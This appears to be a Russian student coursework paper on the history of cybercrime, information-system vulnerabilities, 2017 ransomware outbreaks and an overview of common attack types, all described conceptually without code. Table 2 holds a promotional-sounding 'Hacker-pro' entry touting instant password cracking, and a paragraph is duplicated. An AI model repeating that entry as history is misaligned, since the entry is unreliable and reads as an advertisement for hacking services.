Содержание:

Введение

Современные IT-технологии развиваются очень быстро, с появлением первого компьютера и развития интернет технологий начали появляться технологии взлома.

Чем сильнее развивалась IT- инфраструктура, тем изощреннее становились способы взлома.

Компьютерные преступления называют «киберпреступления»

Поговорим немного о истории возникновения термина «киберпреступлений».

Парадокс развития человечества заключается в том, что на протяжении всего своего развития человек использовал, накапливал, передавал информацию. Непрерывный процесс информатизации общества охватывает все сферы деятельности человека и государства: от решения проблем национальной безопасности, здравоохранения и управления транспортом до образования, финансов, и даже просто межличностного общения. По мере развития технологий электронных платежей, «безбумажного» документооборота, серьезный сбой локальных сетей может парализовать работу целых корпораций и банков, что может привести к значительному материальному ущербу и колоссальным убыткам.

История киберпреступлений - это новейшая история, которая касается всех нас. В настоящее время проблема киберпреступности переросла в масштабы мирового сообщества.

В данной курсовой работе будет проведен анализ технологии совершения компьютерных преступлений, описана история возникновения киберпреступлений, приведен список известных хакеров, а также способов проникновения

Цель- провести анализ технологий взлома компьютера, выявить причины, предложить варианты защиты.

Глава 1. История возникновения компьютерных преступлений

Как говорилось ранее, история киберпреступления - это новейшая история, которая касается всех нас. В настоящее время проблема киберпреступности переросла в масштабы мирового сообщества.

Согласно рекомендациям экспертов ООН термин «киберпреступность» охватывает любое преступление, которое может совершаться с помощью компьютерной системы или сети, в рамках компьютерной системы или сети или против компьютерной системы или сети. Таким образом, к киберпреступлениям может быть отнесено любое преступление, совершенное в электронной среде.

Преступление, совершенное в киберпространстве - это противоправное вмешательство в работу компьютеров, компьютерных программ, компьютерных сетей, несанкционированная модификация компьютерных данных, а также иные противоправные общественно опасные действия, совершенные с помощью или посредством компьютеров, компьютерных сетей и программ.

Сегодня киберпреступность - масштабная проблема, а вредоносные программы пишутся с целью незаконного получения денег. Развитие интернета стало одним из ключевых факторов, определивших эти перемены. Компании и отдельные пользователи уже не мыслят без него свою жизнь, и все больше финансовых операций проводится через интернет. Киберпреступники осознали, какие огромные возможности для «зарабатывания» денег с помощью вредоносного кода появились в последнее время, и многие из нынешних вредоносных программ написаны по заказу или с целью последующей продажи другим преступникам.

Конвенция Совета Европы говорит о четырех типах компьютерных преступлений, определяя их как преступления против конфиденциальности, целостности и доступности компьютерных данных и систем:

- незаконный доступ - ст. 2 (противоправный умышленный доступ к компьютерной системе либо ее части);
- незаконный перехват - ст. 3 (противоправный умышленный перехват не предназначенных для общественности передач компьютерных данных на компьютерную систему, с нее либо в ее пределах);

- вмешательство в данные - ст. 4 (противоправное повреждение, удаление, нарушение, изменение либо пресечение компьютерных данных);
- вмешательство в систему - ст. 5 (серьезное противоправное препятствование функционированию компьютерной системы путем ввода, передачи, повреждения, удаления, нарушения, изменения либо пресечения компьютерных данных).

Рис. 1. Классификация киберпреступлений

Появление киберпреступности можно отсчитывать с момента появления компьютера, так называемой эпохи ЭВМ. Историю киберпреступлений можно разделить на два периода: первый - с момента создания первой ЭВМ до 1990 года и с 1990 года по настоящий момент времени. Почему именно 1990 год ? Дело в том. что начиная с 1990 года интернет начал распространяться по миру с огромной скоростью.

Первое упоминание об использовании компьютера с целью совершения преступления было обнародовано в 1960-х годах, когда компьютеры представляли собой большие универсальные компьютеры, так называемые ЭВМ. После Второй мировой войны в 1946 году несколько компаний начали работать над коммерческими ЭВМ. и к 1951 году UNIVAC выпускает первый коммерческий компьютер, созданный в Соединённых Штатах, и третий коммерческий компьютер

в мире (после германского Z4 и британского Ferranti Mark 1). который не предназначался для использования в научных исследованиях по разработке оружия. Первый экземпляр UNIVAC был официально продан Бюро переписи населения США. Всего за период с 1951 по 1958 год было создано 46 экземпляров UNIVAC. Они были установлены в правительственных учреждениях, частных корпорациях и в трех университетах США.

Электронные вакуумные лампы выделяли большое количество тепла, поглощали много электрической энергии, были громоздкими, дорогими и ненадежными. Компьютеры первого поколения, построенные на вакуумных лампах, обладали низким быстродействием и невысокой надежностью. В 1947 голу сотрудники американской компании «Белл» Уильям Шокли. Джон Бардин и Уолтер Бреттейн изобрели транзистор. Транзисторы выполняли тс же функции, что и электронные лампы, но использовали электрические свойства полупроводников. По сравнению с вакуумными трубками транзисторы занимали в 200 раз меньше места и потребляли в 100 раз меньше электроэнергии. В то же время появляются новые устройства для организации памяти компьютеров - ферритовые сердечники. С изобретением транзистора и использованием новых технологий хранения данных в памяти появилась возможность значительно уменьшить размеры компьютеров, сделать их более быстрыми и надежными, а также значительно увеличить емкость памяти компьютеров.

В 1954 году' компания Texas Instruments объявила о начале серийного производства транзисторов, а в 1956 году ученые Массачусетского технологического института создали первый, полностью построенный на транзисторах компьютер TX-O.

В 60-е годы прошлого столетия появилось третье поколение ЭВМ. в которых впервые стали использоваться интегральные схемы (микросхемы). В это же время появляется полупроводниковая память, которая и по сей день используется в персональных компьютерах в качестве оперативной. В эти годы производство компьютеров приобретает промышленный размах. Пробившаяся в лидеры фирма IBM первой реализовала семейство ЭВМ - серию полностью совместимых друг с другом компьютеров от самых маленьких, размером с небольшой шкаф (меньше тогда еще не делали), до самых мощных и дорогих моделей. Еще в начале 60-х появляются первые миникомпьютеры - небольшие маломощные компьютеры, доступные по цене небольшим фирмам или лабораториям. Миникомпьютеры представляли собой первый шаг на пути к персональным компьютерам, пробные образцы которых были выпущены только в середине 70-х голов. Вместе со

стремительным развитием компьютерной сферы начинает свое развитие киберпреступность.

Но компьютерная преступность 1960-х и 1970-х годов отличалась от киберпреступности сегодня. Во- первых. в то время еще не появился Интернет, во-вторых. ЭВМ не были объединены в сеть. В 1960 голу' типичная ЭВМ стоила несколько миллионов долларов, занимала площадь одной комнаты и требовала специальной системы кондиционирования воздуха, чтобы компьютер не сгорел. В то время только определенный круг исследователей и ученых могли использовать ЭВМ в своей работе. Ограниченное использование ЭВМ и отсутствие соединения с другими компьютерами резко сокращало шансы совершения компьютерных преступлений, и если таковые совершались, то только людьми, которые обслуживали ЭВМ. Все преступления того времени сводились к преступлениям, связанным с финансовыми вложениями в ЭВМ. Это продолжалось до появления и всемирного распространения сети Интернет, что открыло новые возможности для преступников.

Историю киберпреступлений можно рассматривать в рамках истории развития хакерства. Хакер - это высококвалифицированный ИТ-специалист, человек, который понимает тонкости работы ЭВМ. Различают два вида IT-хакеров:«White hat» и «Black hat». «Black hat» называют киберпреступников, тогда как «White hat» - прочих специалистов по информационной безопасности (в частности специалистов, работающих в крупных IT- компаниях) или исследователей ГГ-систем, не нарушающих закон. В таблице выделены основные периоды истории существования хакерства, приведены их краткие характеристики.

Второй этап развития компьютерных преступлений начинается с середины 90-х годов прошлого столетия, это был период, когда Интернет распространялся со стремительной скоростью. Это было время, когда персональные компьютеры и Интернет становятся более доступными для всеобщего использования. В декабре 1995 года, по некоторым оценкам, было зарегистрировано 16 миллионов пользователей Интернета во всем мире, а уже к маю 2002 года эта цифра возросла до 580 миллионов, что составляло почти 10 процентов от общего населения планеты (NUA, 2003). Нужно отметить, что распространение Интернета по миру было неравномерно, например, более 95 процентов из общего числа Интернет-соединений располагались в США, Канаде, Европе,

Австралии и Японии. Именно в это время в историю преступлений был введен новый вид преступлений, который носил название «Взлом».

На начальном этапе развития киберпреступлений очень часто используется термин «Взлом», хотя позже взлом будет определен как одно из преступлений, входящее в понятие киберпреступления. Именно взлом характеризует противозаконные действия хакеров. История развития хакерства в период с 1990 г. до наших дней приведена в таблице №1

Таблица 1 Киберпреступления 60-е по 90-е года.

Период	**Характеристика**
1960-е гг.: Зарождение хакерства	Первые компьютерные хакеры появились в Массачусетском технологическом институте (MIT). Некоторые члены группы обращают свой пытливый ум на новый университетский компьютер и начинают манипулировать с программами.
1970-е гг.: Телефонные фрикеры и Cap'nCrunch	Фрикеры взламывают местные и международные телефонные сети, чтобы звонить бесплатно. «Отец» фрикеров - участник войны во Вьетнаме Джон Дрэйпер (известный как Cap'nCrunch) - обнаружил, что игрушечный свисток-сувенир, который он нашел в коробке овсяных хлопьев Cap'nCrunch, издает звук с частотой 2600 герц, совпадающей с частотой электрического сигнала доступа в телефонную сеть дальней связи AT&T. Он построил первую «голубую коробку» BlueBox со свистком внутри, который свистел в микрофон телефона, позволяя делать бесплатные звонки.

1980 г.: Хакерские доски сообщений и сообщества хакеров	Телефонные фрикеры начинают заниматься компьютерным хакерством, возникают первые системы электронных досок объявлений (BBS), предшественников групп новостей Usenet и электронной почты. BBS с такими названиями, как «SherwoodForest» и «Catch-22», становятся местами встреч хакеров и фрикеров, обмена опытом по краже паролей и номеров кредитных карт. Начинают формироваться хакерские группы. Первыми были «LegionofDoom» в США и «ChaosComputerClub» в Германии
1983 г.: Детские игры	Первый фильм про хакеров «Военные игры» («WarGames») представил широкой общественности это явление. Главный персонаж - хакер - проникает в некий компьютер производителя видеоигр, который оказывается боевым симулятором ядер- ного конфликта, принадлежащего военным. В результате возникает реальная угроза ядерной войны, и военные переходят в режим «DefCon 1» (DefenseCondition 1 - высшая степень состояния боеготовности). Начинает формироваться образ хакера-кибергероя (и антигероя). В том же году были арестованы 6 подростков, называвших себя «бандой 414». В течение 9 дней они взломали 60 компьютеров, среди которых машины Лос- Аламосской лаборатории ядерных исследований.
1984г.: Хакерские журналы	Регулярно начал публиковаться хакерский журнал «2600». Редактор Эммануил Голдштейн (настоящее имя Эрик Корли) взял псевдоним от главного героя произведения Джоржа Оруэла «1984». Название журналу, как легко заметить, дала свистулька первого фрикера Cap'nCrunch. 2600, а также вышедший годом раньше онлайновый журнал «Phrack» публиковали обзоры и советы для хакеров и фрикеров.

1986г.: За использование компьютера - в тюрьму	Обеспокоенный нарастанием количества взломов корпоративных и государственных компьютеров. Конгресс США принял «Co mputerF raudand Abuse Act», который признал взлом компьютеров преступлением. Однако на несовершеннолетних он не распространялся.
1988г.: Червь Морриса	Первый значительный ущерб от вредоносной программы. Саморазмножающаяся программа студента Корнельского университета Роберта Морриса вывела из строя около 6000 университетских и правительственных компьютеров по всей Америке, причинив огромный ущерб.

Второй этап развития компьютерных преступлений начинается с середины 90-х годов прошлого столетия, это был период, когда Интернет распространялся со стремительной скоростью. Это было время, когда персональные компьютеры и Интернет становятся более доступными для всеобщего использования. В декабре 1995 года, по некоторым оценкам, было зарегистрировано 16 миллионов пользователей Интернета во всем мире, а уже к маю 2002 года эта цифра возросла до 580 миллионов, что составляло почти 10 процентов от общего населения планеты (NUA, 2003). Нужно отметить, что распространение Интернета по миру было неравномерно, например, более 95 процентов из общего числа Интернет-соединений располагались в США, Канаде, Европе,

Австралии и Японии. Именно в это время в историю преступлений был введен новый вид преступлений, который носил название «Взлом».

На начальном этапе развития киберпреступлений очень часто используется термин «Взлом», хотя позже взлом будет определен как одно из преступлений, входящее в понятие киберпреступления. Именно взлом характеризует противозаконные действия хакеров. История развития хакерства в период с 1990 г. до наших дней приведена в таблице №2

Таблица 2 Киберпреступления с 90х по 2010 года.

Период	**Характеристика**

1990 г.: Операция Sundevil	В 14 городах США прошла массовая облава на хакеров, обвиняемых в воровстве номеров кредитных карт и взломе телефонных сетей. Арестованные активно дают друг на друга показания в обмен на судебный иммунитет. По хакерским сообществам нанесен сильный удар.
1993 г.: Зачем покупать машину, когда можно взломать?	Во время викторины-розыгыша автомобилей в прямом эфире на одной из радиостанций хакер в бегах Кевин Паулсен и двое его друзей так заблокировали телефонную сеть, что на радио проходили звонки только от них. Так они выиграли два автомобиля «Порше», турпоездки и 20 000 долларов. Состоялся первый DefCon в Лас-Вегасе - самый крупный ежегодный съезд хакеров. Изначально DefCon планировался как разовая встреча, посвященная прощанию с BBS. Впоследствии мероприятие стало ежегодным.
1994 г.: Хакерские утилиты перемещаются в веб	Появление браузера Netscape Navigator делает веб более удобным для просмотра и хранения информации, чем BBS. Хакеры со своими программами, утилитами, советами и технологиями переезжают с досок объявлений на веб-сайты. Все это богатство становится общедоступным.
1995 г.: Пойманы Кевин Митник и Владимир Левин	Главный серийный киберпреступник - неуловимый Кевин Митник - наконец пойман ФБР. Судебные разбирательства длятся 4 года. Российский хакер - 30-летний Владимир Левин - крадет из американского Citibank 10 миллионов долларов. Его ловят и передают США. Приговор - 3 года тюремного заключения. Из похищенного возвращено все, кроме 400 000 долларов.

1997г.: Взломы AOL	Свободно распространяемая хакерская программа с издевательским названием «AOHell» («America-On-Hell») стала кошмаром для AmericaOnline - крупнейшего интернет-провайдера. С ее помощью даже самый непродвинутый пользователь мог подкладывать многомегабайтные почтовые бомбы в e-mail-сервисы AOL и обрушивать потоки спама в чатах.
1998 г.: Культ хакерства и израильская группа	Хакерская команда «Культ мертвой коровы» (CultoftheDeadCow) создает программу «BackOrifice» («Черный ход») для взлома Windows 95/98. Эта мощное средство захвата контроля над удаленной машиной через засланную троянскую утилиту. Программа представлена на съезде DefCon.
2000 г.: В обслуживании отказано	На пике популярности распределенные атаки типа «Отказ от обслуживания» (denial-of-service или DDoS-атаки). Под их натиском падают крупнейшие сайты eBay, Yahoo!, CNN.com, Amazon и другие. Некие хакеры крадут из корпоративной сети Microsoft и публикуют исходные коды последних версий Windows и Office.
2001 г.: DNS-атаки	Жертвой масштабного взлома DNS-серверов становятся сайты Microsoft. Корпорация проявляет чудеса нерасторопности. Многие ее сайты остаются недоступны для миллионов пользователей от нескольких часов до двух суток.
2009 г.: Hacker-pro	Хакеры, обучавшиеся Hacker-pro, захватыают компьютеры всего мира, никто лучше них не делает фейки. Hacker-pro создали свой словарь брута, подбирающий пароль за несколько секунд, взлом всего за пару минут, теперь это возможно блогодаря Hacker-pro.

Киберпреступность представляет собой не только техническую и правовую, но и социальную проблему, эффективное решение которой требует, прежде всего,

системного подхода к разработке основ обеспечения безопасности жизненно важных интересов гражданина, общества и государства в киберпространстве.

По механизму и способам совершения преступления в сфере компьютерных технологий специфичны, имеют высокий уровень латентности. Наибольшую общественную опасность представляют преступления, связанные с неправомерным доступом к компьютерной информации. Рассматриваемое правонарушение имеет очень высокую латентность, которая, по различным данным, составляет 85-90% . Более того, факты обнаружения незаконного доступа к информационным ресурсам на 90% носят случайный характер.

Эти данные свидетельствуют о том, что работники правоохранительных органов зачастую просто не понимают, как расследовать данные преступления и как доказывать их в суде. Отсюда невозможность качественно проводить расследование, традиционные методы организации и планирования расследования не срабатывают в данных условиях, необходимо повышать эффективность правоохранительной деятельности, повышать уровень требовательности к уровню профессионализма сотрудников правоохранительных органов, их морально деловых качеств. Нельзя допускать их формального отношения к отчетности о результатах борьбы с компьютерной преступностью.

Еще одной проблемой, с которой зачастую сталкиваются следователи при расследовании преступлений в сфере компьютерных технологий, является установление факта совершения преступления. Это связано с тем, что зачастую компьютерные преступления совершаются в так называемом «киберпространстве», они не знают границ, очень часто преступления совершаются, не выходя из дома, с помощью своего персонального компьютера. Кроме того, незаконное копирование информации чаще всего остается необнаруженным, введение в компьютер вируса обычно списывается на непреднамеренную ошибку пользователя, который не смог его «отловить» при общении с внешним компьютерным миром. Да и отношение пострадавших к совершенному против них посягательству не всегда адекватно. Вместо того, чтобы сообщить правоохранительными органам о факте незаконного вмешательства в компьютерную систему, пострадавшие не торопятся этого делать, опасаясь подрыва деловой репутации. Обычно, в качестве потерпевшей стороны от компьютерных преступлений выступают локальные сети, серверы, физические лица.

Следует подчеркнуть, что профессиональные компьютерные преступники под объектом преступления выбирают локальные сети и серверы крупных компаний, в

свою очередь «дилетанты» посягают на информацию компьютеров физических лиц и реже «ломают» провайдеров Интернет услуг, как правило, для «бесплатного» доступа в Интернет.

Примечателен тот факт, что потерпевшая сторона, в лице крупных корпораций, являющаяся собственником системы, неохотно сообщает (если сообщает вообще) в правоохранительные органы о фактах совершения компьютерного преступления. А поскольку они составляют большинство, то именно этим можно объяснить высокий уровень латентности компьютерных преступлений.

Кроме того, в раскрытии факта совершения преступления очень часто не заинтересованы должностные лица, в обязанности которых входит обеспечение компьютерной безопасности. Признание факта несанкционированного доступа в подведомственную им систему ставит под сомнение их профессиональную квалификацию, а несостоятельность мер по компьютерной безопасности, принимаемых руководством, может вызвать серьезные внутренние осложнения. Банковские служащие, как правило, тщательно скрывают обнаруженные ими преступления, которые совершены против компьютеров банка, так как это может пагубно отразиться на его престиже и привести к потере клиентов. Некоторые жертвы боятся серьезного компетентного расследования, потому что оно может вскрыть неблаговидную или даже незаконную механику ведения дел.

Есть еще одна проблема, связанная с эффективность расследования компьютерных преступлений и доведения их до суда. Это общественное мнение, которое не считает компьютерные преступления серьезным преступлением вследствие того, что компьютерные преступники, даже если расследование доведено до конца и вынесен приговор суда, отделываются легкими наказаниями, зачастую - условными приговорами. Отсюда - правовой нигилизм, с одной стороны преступников, которые чувствуют себя безнаказанно, а с другой стороны, потерпевших, которые не хотят обращаться в правоохранительные органы с заявлениями о несанкционированном доступе, потому что понимают, что должного наказания для преступников они все равно не добьются.

Глава 2. Уязвимости ИС

В данном разделе мы поговорим о различных уязвимостях, которые могут привести к утечке данных и способах борьбы с данными уязвимостями.

Рис.2 Диаграмма уязвимостей

Уязвимости:

1. Уязвимость Веб-сервисов
2. Пароли
3. Отсутствие обновлений политики безопасности
4. Внедрение операторов SQL
5. Уязвимости ОС
6. Отсутствие антивирусных программ.

Причины уязвимостей:

1. Уязвимости ОС - по-прежнему широко распространены, недостатки защиты различных служебных протоколов, таких как ARP, STP, NBNS, LLMNR и других. Например, отсутствие механизмов защиты от атак ARP Cache Poisoning было обнаружено в 83% исследованных систем, а отсутствие фильтрации и защиты протокола STP — в 42%. В ЛВС многих компаний выявлено отсутствие защиты таких протоколов, как NBNS и LLMNR, которые по умолчанию используются в системах на базе ОС Windows для разрешения имен при недоступности DNS-серверов (56 и 38% соответственно). Атаки на эти протоколы позволяли перехватывать хэши паролей пользователей и подбирать на их основе пароли. Недоработка со стороны производителей, позволяющая тем или иным способом получить администраторские права к ПК, либо получить доступ к трафику.
2. Пароль - наиболее распространенная уязвимость. В ходе тестирования на проникновение получение паролей пользователей может осуществляться различными способами. Это может быть подбор паролей для учетных записей по умолчанию (таких как Administrator, admin, root); подбор паролей для учетных записей, имена которых удалось получить за счет эксплуатации различных уязвимостей на предыдущих этапах; подбор паролей на базе хэш-значений; восстановление учетных данных из зашифрованных значений и другие методы. В данном исследовании при анализе используемых паролей рассматривались все пароли, полученные в ходе тестирования на проникновение тем или иным образом, при этом словарными признавались пароли, которые могут быть в короткие сроки подобраны злоумышленником путем перебора по распространенным словарям при знании лишь идентификатора пользователя.

Недостаточно сложный пароль, согласно исследованиям организаций, занимающихся информационной безопасностью, в 2016г, являлся самой распространённой уязвимостью.

1. Отсутствие обновлений политики безопасности - еще одна причина уязвимости ИС. Наибольшее количество уязвимостей данной категории в этом году выявлено в веб-серверах, используемых на периметре: 67% от общего числа исследованных организаций уязвимы. В 40% компаний подобные уязвимости обнаружены в прикладном ПО, таком как PHP и OpenSSL. Для такой же доли систем были выявлены уязвимости в устаревших версиях различных веб-приложений, поставляемых вендорами «как есть», — систем управления содержимым сайтов (CMS), систем телеконференцсвязи. Примером может служить загрузка произвольных файлов в CMS Joomla (CVE-2013-5576), которая позволяет нарушителю загрузить веб-интерпретатор командной строки на сервер и выполнять команды ОС — и которая позволила преодолеть периметр при тестировании на проникновение в одной из организаций.
2. Внедрение операторов SQL - уязвимость типа «Внедрение операторов SQL», связанная с ошибками в коде веб-приложения и позволяющая получить несанкционированный доступ к системе управления базами данных (СУБД) в обход логики приложения, занимает высокую позицию в рейтинге и встречается в 67% организаций. Другая критическая уязвимость в веб-приложениях — «Загрузка произвольных файлов» — опустилась с 6-й на 11-ю строчку рейтинга, однако по-прежнему встречается часто: уязвимы оказались 40% компаний.
3. Уязвимость WEB-сервисов - как и прежде, использование открытых протоколов передачи данных остается распространенной уязвимостью в корпоративных информационных системах и занимает третью строчку рейтинга уязвимостей сетевого периметра. По сравнению с 2013 годом доля уязвимых систем остается на прежнем уровне и составляет 80%. Выявлено множество систем с доступными службами FTP, Telnet и другими открытыми протоколами. Благодаря им потенциальный злоумышленник получает возможность перехвата передаваемой информации, в том числе учетных данных привилегированных пользователей. Также было выявлено множество уязвимостей средней степени риска, связанных с недостатками конфигурации SSL. Данная уязвимость встречалась в 73% систем, и заняла 4-ю строчку рейтинга наиболее распространенных. К недостаткам данной категории относится использование самоподписанных или устаревших сертификатов SSL. Используя уязвимости в конфигурации SSL, нарушитель может

осуществить атаку «человек посередине» и перехватить передаваемые по данному протоколу чувствительные данные.

4. Отсутствие антивирусных программ - в 88% проанализированных организаций был выявлен недостаток безопасности, заключающийся в недостаточно эффективной реализации антивирусной защиты. Этот недостаток выражается, в частности, в возможности нарушителя с привилегиями администратора запускать на серверах и рабочих станциях под управлением ОС Windows специализированное ПО для проведения атак. На тех узлах, где антивирус выявлял действия нарушителя и блокировал запуск

вредоносного ПО, привилегии локального администратора позволяли отключать антивирус либо добавлять данное ПО в список исключений.

В результате подобных действий, а также из-за недостаточной защиты привилегированных учетных записей, в большинстве исследованных систем удалось получить учетные данные пользователей ОС Windows, в том числе учетные данные администраторов доменов, в открытом виде.

1. Человеческий фактор - В рамках работ по тестированию на проникновение корпоративных информационных систем для ряда компаний проводились проверки осведомленности пользователей систем в вопросах информационной безопасности. Проверки представляли собой серии согласованных с заказчиком атак, эмулирующих реальную деятельность злоумышленников, и отслеживание реакции пользователей на них. Тестирование проводилось различными методами по индивидуальным сценариям. Для взаимодействия с сотрудниками заказчика могли использоваться электронная почта, системы обмена мгновенными сообщениями, социальные сети и телефонная связь. В данном исследовании рассматриваются лишь результаты по наиболее распространенному виду тестирования — рассылка по электронной почте. Проверки заключались в рассылке электронных сообщений с вложением в виде файла либо содержащих ссылку на внешний источник. Отслеживались факты перехода по предложенной ссылке, факты запуска исполняемого файла, приложенного к письму, или ввода учетных данных при эмуляции фишинговой атаки. Как правило, рассылка писем по электронной почте осуществлялась якобы от лица сотрудника организации, но также применялись сценарии, при которых письма отправлялись от какого-либо внешнего лица или организации. Оценка уровня осведомленности производилась на основании экспертного мнения специалистов Positive Technologies по результатам проведенных работ. Полученные результаты

отражают существенное снижение уровня осведомленности пользователей систем в вопросах ИБ. Ровно половина систем, в отношении которых проводилось исследование, показали крайне низкий уровень по этому показателю. В 17% систем, в отношении которых были проведены данные работы, уровень осведомленности сотрудников оказался на низком уровне, а каждой третьей системе присвоена оценка осведомленности «ниже среднего».

Глава 3. Актуальные киберугрозы:

При анализе инцидентов рассматривались только уникальные события, таким образом все проишествия, связанные с заражением одним трояном или его модификациями, учитываются как один масштабный инцидент. Доля атак с использованием ВПО выросла на 3%.

Социальная инженерия применялась чаще, чем в I квартале, и составила 15% всех атак. Во II квартале сократилось количество DDoS-атак, при этом появились новые ботнеты из IoT-устройств, поэтому в III квартале можно ожидать роста этой категории атак.

Тема вредоносного ПО, шифрующего данные пользователей и требующего выкуп за расшифровку, совсем не нова, однако именно она была самой обсуждаемой в мировом ИБ сообществе в мае и июне 2017 года. Компании как минимум в 150 странах мира понесли серьезные убытки из-за нарушений в работе информационных инфраструктур, данные в которых были зашифрованы троянами-вымогателями.

Эпидемия WannaCry (WanaCypt0r, WCry)1 показала, что, не открывая подозрительные письма, не переходя по подозрительным ссылкам, можно все равно стать жертвой. По данным Intel2, общее количество зараженных компьютеров превысило 530 тысяч. Несмотря на то что на биткойн-кошельки разработчиков WannaCry от жертв поступило всего около 50 BTC (128 000

долл. США), общий ущерб компаний составил более миллиарда долларов.

Другая масштабная вредоносная кампания в конце июня была вызвана шифровальщиком NotPetya (также известным под именами ExPetr, PetrWrap, Petya, Petya.A и др.) Отличительной чертой этой эпидемии было то, что целью

преступников не была финансовая выгода, они не стремились рассылать ключ восстановления в обмен на выплаты. ВПО распространялось для вывода из строя информационных систем, уничтожения файлов и саботажа. Однако злоумышленники допустили ошибки в коде при реализации ал-горитма шифрования, что позволило экспертам Positive Technologies найти возможность восстановления данных в тех случаях, когда троян NotPetya имел административные привилегии и зашифровал жесткий диск целиком4. Однако более 40 жертв заплатили выкуп на общую сумму, эквивалентную 10 000 долл. США.

Исходный вектор заражения NotPetya был направлен на украинские организации и реализован через бэкдор в программе бухгалтерского учета M.E.Doc5. ВПО попадало на компьютеры жертв вместе с официальными обновлениями и запускало в зараженной системе другое ВПО. Таким образом, вредоносная кампания была хорошо спланирована и реализована через атаку на разработчика ПО и включала компрометацию сервера обновлений и получение доступа к исходному коду программы.

Кроме того, во II квартале получили популярность и другие вредоносные программы, такие как семейство шифровальщиков-вымогателей Jaff, распространяемое через PDF-документы, прикрепленные к спам-сообщениям электронной почты6, и SOREBRECT, внедряющееся в процесс Windows svchost.exe с помощью легитимной утилиты командной строки PsExec и уничтожающее исходный вредоносный файл7.

Одновременно с эпидемией WannaCry мы наблюдали инциденты, связанные с другим ВПО (Adylkuzz8), использовавшим ту же уязвимость MS17-0109. Это ВПО не стало столь популярным в СМИ, поскольку не требовало выкуп. Однако большое количество компьютеров было заражено, а многие жертвы при этом не знали, что оказались атакованы. Исходный вектор заражения был аналогичен WannaCry: им служил доступный из сети Интернет уязвимый узел, на котором не были установлены актуальные обновления ПО и ОС. Интересна была цель атакующих: они использовали вычислительные мощности зараженных компьютеров для генерации криптовалюты. При анализе транзакций известного нам кошелька злоумышленника мы подсчитали, что подконтрольные вычислительные мощности позволяют хакеру зарабатывать порядка 2000 долл. США в сутки.

Во II квартале набирает обороты тренд «вымогатели как услуга» (ransomware as a service), о котором мы рассказывали в первом квартале. Появляются новые сервисы

по сдаче троянов в аренду, например, дистрибьютор Petya или Mischa получает от 25% до 85% от суммы платежей жертв, а другой троян-шифровальщик Karmen продается на черном рынке за 175 долл. США.

Актуальными проблемами на 2017 г. Также остаются DDoS – атаки на сервера, заражение мобильных приложений вредоносным ПО.

Подводя итоги II квартала 2017 года, отмечаются следующие тенденции:

Массовая вредоносная кампания может нанести ущерб, суммарно сопоставимый с целенаправленной атакой. А сервис «вымогатели как услуга» набирает серьезные обороты, что позволяет прогнозировать появление целого рынка ransomware в ближайшем будущем.

Вместе с ростом рынка криптовалюты растет количество атак на биткойн-кошельки и биржи.

Исследователи обнаруживают новые ботнеты из IoT-устройств, однако известий о новых инцидентах, связанных с высоконагруженными атаками, поступает немного. Нельзя исключать возможность, что злоумышленники копят ресурсы, чтобы в дальнейшем реализовать масштабные атаки.

Необходимость защиты от кибер преступников на государственном уровне начали осознавать те страны, которые до недавнего времени не имели своих кибервойск. Так, Австралия официально заявила о создании подразделения, специализирующегося на информационных войнах, и даже опубликовала соответствующую вакансию на сайте министерства обороны. Вероятно, что в ближайшее время кибервойска продолжат появляться и у других стран.

Глава 4. Распространенные способы взлома

В данной главе представлены распространенные виды хакерских атак:

- **Mailbombing (SMTP)**

Считается самым старым методом атак, хотя суть его проста и примитивна: большое количество почтовых сообщений делают невозможными работу с почтовыми ящиками, а иногда и с целыми почтовыми серверами. Для этой цели было разработано множество программ, и даже неопытный пользователь мог совершить атаку, указав всего лишь e-mail жертвы, текст сообщения, и количество необходимых сообщений. Многие такие программы позволяли прятать реальный IP-

адрес отправителя, используя для рассылки анонимный почтовый сервер. Эту атаку сложно предотвратить, так как даже почтовые фильтры провайдеров не могут определить реального отправителя спама. Провайдер может ограничить количество писем от одного отправителя, но адрес отправителя и тема зачастую генерируются случайным образом.

- **Переполнение буфера**

Пожалуй, один из самых распространённых типов атак в Интернете. Принцип данной атаки построен на использовании программных ошибок, позволяющих вызвать нарушение границ памяти и аварийно завершить приложение или выполнить произвольный бинарный код от имени пользователя, под которым работала уязвимая программа. Если программа работает под учётной записью администратора системы, то данная атака позволит получить полный контроль над компьютером жертвы, поэтому рекомендуется работать под учётной записью рядового пользователя, имеющего ограниченные права на системе, а под учётной записью администратора системы выполнять только операции, требующие административные права.

Вирусы, троянские программы, черви, снифферы, руткиты и другие специальные программы

Следующий вид атаки представляет собой более изощрённый метод получения доступа к закрытой информации — использование специальных программ для ведения работы на компьютере жертвы, а также дальнейшего распространения (это вирусы и черви). Такие программы предназначены для поиска и передачи своему владельцу секретной информации, либо просто для нанесения вреда системе безопасности и работоспособности компьютера жертвы. Принципы действия этих программ различны.

- **Сетевая разведка**

В ходе такой атаки крэкер собственно не производит никаких деструктивных действий, но в результате он может получить закрытую информацию о построении и принципах функционирования вычислительной системы жертвы. Полученная информация может быть использована для грамотного построения предстоящей атаки, и обычно производится на подготовительных этапах.

В ходе такой разведки злоумышленник может производить сканирование портов, запросы DNS, эхо-тестирование открытых портов, наличие и защищённость прокси-

серверов. В результате можно получить информацию о существующих в системе DNS-адресах, кому они принадлежат, какие сервисы на них доступны, уровень доступа к этим сервисам для внешних и внутренних пользователей.

- **Сниффинг пакетов**

Также довольно распространённый вид атаки, основанный на работе сетевой карты в режиме promiscuous mode, а также monitor mode для сетей Wi-Fi. В таком режиме все пакеты, полученные сетевой картой, пересылаются на обработку специальному приложению, называемому сниффером. В результате злоумышленник может получить большое количество служебной информации: кто, откуда и куда передавал пакеты, через какие адреса эти пакеты проходили. Самой большой опасностью такой атаки является получение самой информации, например логинов и паролей сотрудников, которые можно использовать для незаконного проникновения в систему под видом обычного сотрудника компании.

- **IP-спуфинг**

Тоже распространённый вид атаки в недостаточно защищённых сетях, когда злоумышленник выдаёт себя за санкционированного пользователя, находясь в самой организации, или за её пределами. Для этого крэкеру необходимо воспользоваться IP-адресом, разрешённым в системе безопасности сети. Такая атака возможна, если система безопасности позволяет идентификацию пользователя только по IP-адресу и не требует дополнительных подтверждений.

- **Man-in-the-Middle**

Вид атаки, когда злоумышленник перехватывает канал связи между двумя системами, и получает доступ ко всей передаваемой информации. При получении доступа на таком уровне злоумышленник может модифицировать информацию нужным ему образом, чтобы достичь своих целей. Цель такой атаки — незаконное получение, кража или фальсифицирование передаваемой информации, или же получение несанкционированного доступа к ресурсам сети. Такие атаки крайне сложно отследить, так как обычно злоумышленник находится внутри организации.

- **Инъекция кода**

Семейство атак, объединённых одним общим принципом — в результате атаки данные выполняются как код.

